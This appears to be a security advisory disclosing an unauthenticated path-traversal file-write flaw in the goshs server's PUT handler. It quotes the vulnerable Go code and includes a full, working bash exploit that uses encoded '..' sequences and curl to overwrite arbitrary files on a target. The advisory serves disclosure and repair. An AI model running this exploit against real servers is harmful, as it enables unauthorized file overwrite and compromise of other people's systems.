EUVD-2026-19488

Description

### Summary * PUT upload has no path sanitization | `httpserver/updown.go:20-69` This finding affects the default configuration, no flags or authentication required. ### Details **File:** `httpserver/updown.go:20-69` **Trigger:** `PUT /<path>` (server.go:57-59 routes directly to `put()`) The handler uses `req.URL.Path` raw to build the save path. No `filepath.Clean`, no `..` check, no webroot containment. ```go func (fs *FileServer) put(w http.ResponseWriter, req *http.Request) { upath := req.URL.Path // unsanitized filename := strings.Split(upath, "/") outName := filename[len(filename)-1] targetpath := strings.Split(upath, "/") targetpath = targetpath[:len(targetpath)-1] target := strings.Join(targetpath, "/") savepath := fmt.Sprintf("%s%s/%s", fs.UploadFolder, target, outName) // ... os.Create(savepath) // arbitrary path write ``` `UploadFolder` defaults to `Webroot` (main.go:386-388). The path is pure string concatenation with no validation. **Impact:** Unauthenticated arbitrary file write anywhere on the filesystem. **PoCs:** ```bash #!/usr/bin/env bash # Write an arbitrary file on a running goshs instance via PUT. # # Usage: ./arbitrary_overwrite1.sh <host> <port> <local-file> <absolute-target-path> set -euo pipefail HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}" PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}" LOCAL_FILE="${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}" TARGET="${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}" if [ ! -f "$LOCAL_FILE" ]; then echo "[-] Local file not found: $LOCAL_FILE" exit 1 fi # 16 levels of %2e%2e/ (URL-encoded "..") to reach filesystem root. # Encoding is required so curl does not resolve the traversal client-side. TRAVERSAL="" for _ in $(seq 1 16); do TRAVERSAL="${TRAVERSAL}%2e%2e/" done # Strip leading / from target TARGET_REL="${TARGET#/}" PUT_PATH="/${TRAVERSAL}${TARGET_REL}" echo "[*] Source: ${LOCAL_FILE}" echo "[*] Target: ${TARGET}" echo "[*] PUT: ${PUT_PATH}" echo "" HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \ --path-as-is \ -X PUT --data-binary "@${LOCAL_FILE}" \ "http://${HOST}:${PORT}${PUT_PATH}") echo "[*] HTTP ${HTTP_CODE}" echo "[*] File should now exist at ${TARGET} on the target." ``` To execute it: `./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can` ## Recommendations Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.

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